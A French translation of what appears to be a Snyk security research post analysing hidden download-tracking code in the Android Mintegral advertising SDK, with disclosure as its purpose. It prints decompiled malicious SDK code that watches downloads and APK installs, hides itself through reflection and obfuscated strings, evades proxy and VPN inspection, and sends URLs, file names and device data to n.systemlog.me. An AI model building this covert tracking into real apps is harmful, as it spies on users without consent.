Dans les deux sections précédentes de cet article de recherche, nous avons expliqué comment l’équipe de sécurité de Snyk a découvert des comportements malveillants dans le SDK Mintegral, exploitables sur les appareils iOS et pouvant entraîner une fraude publicitaire, une fuite de données et l’exécution de code à distance (RCE). Nous avons voulu approfondir nos recherches sur la version Android du SDK, sujet de cette section. Voici, en résumé, nos principales conclusions :

  1. Suivi des URI de téléchargement depuis Google, concernant les téléchargements dans les navigateurs et les applications, y compris les téléchargements de fichiers classiques, les pièces jointes aux e-mails et les liens Google Docs.

  2. Suivi de tous les téléchargements d’APK, qu’ils soient organiques ou non.

Ces données sont envoyées aux serveurs de Mintegral.

Comportement observé

Lors du téléchargement d’un fichier à partir d’un lien Google Docs, nous avons remarqué que l’application envoyait les requêtes suivantes à https://n.systemlog.me :

Outil de sécurité web affichant une requête POST brute avec des données encodées dans l’URL envoyées à n.systemlog.me

Il s’agit du même point de terminaison que celui utilisé dans le SDK iOS pour transmettre des données au serveur Mintegral. La charge utile est encodée, mais nous pouvons utiliser la logique de décodage intégrée au binaire du SDK pour obtenir ce qui suit :

p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
app_id=118690
sign=9329a7706dd43d6ed64d022ad0e7b13b
platform=1
os_version=5.1.1
package_name=com.mintegral.sdk.demo
app_version_name=1.0
app_version_code=1
orientation=1
model=Android+SDK+built+for+x86
brand=Android
gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
mnc=260
mcc=310
network_type=13
language=en
timezone=GMT%2B02%3A00
useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
sdk_version=MAL_10.5.0
gp_version=1.8
screen_size=1080x2160
has_wx=false
cache1=747
cache2=722
power_rate=100
charging=1
http_req=2
dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
unknown_source=1
sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
is_clever=2

Nous avons deux paramètres encodés supplémentaires, clever et dvi. Après les avoir également décodés, nous avons remarqué quelque chose d’intéressant :

{
    "fl": "1246",
    "kw": "secret.pdf",
    "p": "",
    "ul": [
        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
    ],
    "v": ""
}

{
    "android_id": "556a5ab905bbdfd3",
    "cid": "0",
    "ct": "[x86]",
    "dmf": 760,
    "dmt": "1588"
}

Comme nous pouvons le voir, l’URL de la feuille Google téléchargée depuis l’application Google Drive est envoyée au serveur principal dans le champ ul, et le nom du fichier téléchargé dans le champ kw, tandis que dvi contient des données sur l’appareil.

Utilisations possibles

Dans le scénario iOS, des clics frauduleux en double étaient envoyés depuis l’appareil du client aux serveurs de Mintegral, puis au fournisseur d’attribution (MMP). Dans ce cas, les APK téléchargés ou installés sont signalés aux serveurs et peuvent potentiellement servir à générer des clics côté serveur. Le schéma suivant illustre le flux de données :

Schéma montrant un SDK malveillant dans une application Android affectée, qui utilise ContentResolver et Play Market pour télécharger un APK et envoyer de fausses données de clics.

Module Alphab

Le comportement décrit ci-dessus se trouve dans le module alphab, que Mintegral présentait comme un « package d’optimisation » :

Guide d’intégration du SDK Android présentant la section d’initialisation du SDK et un tableau des packages vidéo, publicités splash, publicités interactives et optimisation

À la suite de notre publication, le module a été retiré du site de Mintegral et ne semble plus faire partie du SDK distribué. Nous avons décompilé le SDK et localisé le code responsable de ce comportement.

Classe AlphaCommonConst

public final class AlphaCommonConst {

    /* renamed from: a */    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");

    /* renamed from: b */    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");

    /* renamed from: c */    public static String f2c = "decode error";

    /* renamed from: d */    public static boolean is_net_debug = false;

    /* renamed from: com.alphab.a$a */    /* compiled from: AlphaCommonConst */    public static class C0000a {

        /* renamed from: a */        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");

        /* renamed from: b */        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
    }

Cette classe contient de nombreuses définitions de constantes codées en dur. Certaines chaînes sont obscurcies au moyen d’un schéma de codage personnalisé basé sur Base64, situé dans la classe AlphabBase64Util, comme nous l’avions observé dans la version iOS.

Après décodage, nous obtenons les chaînes suivantes :

aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
7sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
aELKr0xI7UL67iN6HinI                               = android.net.Uri
aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
aEJKNEbPQEx6                                       = addAction
r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

Elles sont utilisées lors des étapes d’initialisation que nous allons aborder ensuite.

Récepteur Alphab

Dans la méthode init() de la classe AlphabReceiver, le BroadcastReceiver est initialisé à l’aide de certaines des chaînes précédemment obscurcies :

try {
      AlphabReceiver alphabReceiver = new AlphabReceiver();
      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
      Object newInstance = cls2.newInstance();
      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
      } catch (Throwable th) {
            th.printStackTrace();
      }

En remplaçant celles-ci par les chaînes décodées, on obtient le code suivant :

AlphabReceiver alphab_receiver = new AlphabReceiver();
Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
Class intent_filter_cls = Class.forName("android.content.IntentFilter");
Object intent_inst = intent_filter_cls.newInstance();
Method method = IntentFilter.class.getMethod("addAction", String.class);
method.invoke(intent_inst, "alphab_net_debug_action");
method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
.invoke(context, alphab_receiver, intent_inst);

Nous constatons qu’à l’aide de l’API de réflexion Java, un nouveau récepteur de diffusion est créé pour écouter deux types d’intentions :

  • android.intent.action.PACKAGE_ADDED : une intention système déclenchée lorsqu’un package est installé sur l’appareil.

  • alphab_net_debug_action : une intention personnalisée qui semble détecter le débogage réseau.

À la réception de l’intention, la classe AlphabReceiver construit une méthode ParseAndLoad() :

public final class ParseAndLoad {

    /* renamed from: a */    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

Ce champ est ensuite utilisé dans une condition :

public final void mo40a() {
   boolean z = true;
   try {
        AlphabImpl.m61c(AlphabImpl.this);
        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).c();
                if (com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c)) {
                    g.b(AlphabImpl.f62a, "did in database " + this.f82c);
                } else if (AlphabImpl.this.f64b != null) {
                    Context a = AlphabImpl.this.f64b;
                    if (!AlphaCommonConst.is_net_debug && (NetUtils.is_proxy_enabled(a) || NetUtils.is_vpn_enabled())) {
                        z = false;
                    }
                    if (z) {
                        g.b(AlphabImpl.f62a, "insert did" + this.f82c);
                        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c, this.f81b);
                        AlphabImpl.m56a(AlphabImpl.this, this.f82c);
                    }
                }
            } catch (Exception e) {
                if (MIntegralConstans.DEBUG) {
                    e.printStackTrace();
                }
            }
        }

La décompilation des deux autres méthodes dans cette clause if révèle qu’elles vérifient si la connexion réseau actuelle passe par un proxy Wi-Fi ou un client VPN. Ces vérifications visent à empêcher le débogage de l’application et l’interception de son trafic. Cette intention permet aux développeurs du SDK de contourner cette fonctionnalité anti-débogage.

Observateur Alphab

De même, le bloc d’initialisation de ce ContentObserver est dissimulé par la réflexion et des chaînes obscurcies :

C0014a aVar = new C0014a(this.f70i);
Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

Après nettoyage, on obtient ce qui suit :

AlpahbObserver observer = new AlpahbObserver(handler);
Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

Cela signifie que l’observateur de contenu est enregistré pour écouter l’URI content://downloads et qu’il se déclenche chaque fois qu’un fichier est téléchargé sur l’appareil.

Il interroge le gestionnaire de téléchargements Android pour obtenir les téléchargements publics :

cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

et, après décodage de la chaîne, nous obtenons ce qui suit :

cursor = aVar.f64b.getContentResolver()
.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

Si l’URL de téléchargement répond à l’une des conditions suivantes, un rapport est envoyé à https://n.systemlog.met/stlog :

  1. Se termine par apk : concerne les téléchargements manuels.

  2. Renvoie vers un package appartenant à com.android.vending ou contient google.com : permet de détecter toute application Google, voire toute URL de navigateur correspondant à cette condition.

Voici l’extrait de code qui envoie la requête au serveur https://n.systemlog.met/stlog.

else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
            }

ce qui équivaut à :

else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

« Ici, nous pouvons voir les paramètres observés dans la requête capturée dans notre exemple :

static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
        try {
            if (TextUtils.isEmpty(str2)) {
                str2 = "";
            }
            if (TextUtils.isEmpty(str)) {
                str = "";
            }
            JSONArray jSONArray = new JSONArray();
            JSONObject jSONObject = new JSONObject();
            if (jSONObject != null) {
                try {
                    jSONObject.put("p", str);
                    jSONObject.put("v", str2);
                    JSONArray jSONArray2 = new JSONArray();
                    if (list != null && list.size() >= 0) {
                        for (int i = 0; i < list.size(); i++) {
                            jSONArray2.put(list.get(i));
                        }
                    }
                    jSONObject.put("ul", jSONArray2);
                    jSONObject.put("kw", str3);
                    jSONObject.put("fl", str4);
                } catch (Throwable th) {
                    if (MIntegralConstans.DEBUG) {
                        th.printStackTrace();
                    }
                }
            }
            jSONArray.put(jSONObject);
            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
            dVar.f40i = new c();
            if (!(dVar.f40i == null || dVar.f20a == null)) {
                dVar.f40i.a("clever", b);
            }
            dVar.mo10a(dVar.f40i);
  • p : nom du package en cours de téléchargement, c’est-à-dire l’application

  • v : version de l’application

  • ul : URL du fichier téléchargé

  • kw : nom du fichier téléchargé

  • fl : taille du fichier

Application de démonstration

Écran d’application Android intitulé « My Application », avec des boutons pour demander des autorisations d’écriture, activer le débogage et télécharger le logo Google I et l’APK

Pour démontrer ce comportement, nous avons créé une application de démonstration qui nous permettait de :

1. Activer l’indicateur de débogage réseau par réflexion pour contourner la logique anti-débogage

buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       try {
           Class AlphaCommonConst = Class.forName("com.alphab.a");
           AlphaCommonConst.getDeclaredField("d").set(null, true);
       } catch (Exception e) {
           e.printStackTrace();
       }
   }
});

2. Télécharger un fichier depuis une URL contenant google.com

buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

3. Télécharger un fichier depuis une URL se terminant par apk

buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

« Nous avons capturé les requêtes sortantes à l’aide d’un proxy HTTP. Après avoir cliqué sur l’un des boutons de téléchargement, nous pouvons voir qu’une requête est envoyée au point de terminaison du serveur :

Burp Suite Community Edition affichant une requête POST interceptée vers n.systemlog.me, avec des en-têtes HTTP et des données de formulaire encodées.

Voici une vidéo qui montre le comportement de suivi :

Malicious Mintegral SDK Leaks Data on Android

Chronologie

Date

Événement de recherche

5 août

L’équipe de recherche de Snyk découvre que le SDK iOS de Mintegral collecte excessivement des données et détourne des clics

17 août

Snyk signale les résultats à Apple de manière responsable

24 août

Snyk publie ses conclusions sur Sour Mint pour iOS

25 août

Mintegral publie une déclaration niant les accusations concernant son SDK

3 septembre

IronSource annonce le retrait de Mintegral de sa plateforme de médiation

3 septembre

Mintegral publie la version 6.5.0.0 du SDK iOS, qui supprime le composant malveillant et dissimulé _CXX_CXX_OperationPKTask

4 septembre

La plateforme de médiation MoPub (Twitter) annonce la révocation de l’accréditation de Mintegral sur sa plateforme

4 septembre

Mintegral annonce son intention de rendre son SDK open source

4 septembre

L’équipe de recherche de Snyk découvre une fonctionnalité cachée de suivi des téléchargements dans la version Android du SDK

9 septembre

Snyk signale de manière responsable à Google ses conclusions sur le SDK Android

10 septembre

Mintegral publie la version 6.6.0.0 du SDK iOS, qui supprime le composant de porte dérobée MTGRemoteCommandParser

22 septembre

Snyk obtient le code source de la version 6.6.0.0 du SDK iOS et réalise une analyse différentielle

23 septembre

Snyk découvre que Mintegral a supprimé le module de suivi des téléchargements Google de son SDK Android

30 septembre

Une analyse différentielle permet à Snyk de découvrir une porte dérobée dans la version iOS du SDK, permettant l’exécution de code à distance (RCE)

2 octobre

Snyk signale de manière responsable à Apple ses nouvelles découvertes concernant iOS

3 octobre

Apple informe les éditeurs concernés et leur demande de supprimer le code permettant l’exécution de code à distance (RCE)

15 octobre

Snyk publie ses dernières conclusions sur iOS et Android

Lire la suite

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.

Blog

Pourquoi les agents de codage IA créent-ils sans cesse des failles de contrôle d’accès ?

Les agents de codage IA peuvent générer une logique d’autorisation qui compile et passe la revue, tout en exposant les données d’un tenant à un autre. Découvrez pourquoi les failles de contrôle d’accès sont difficiles à détecter et comment les prévenir.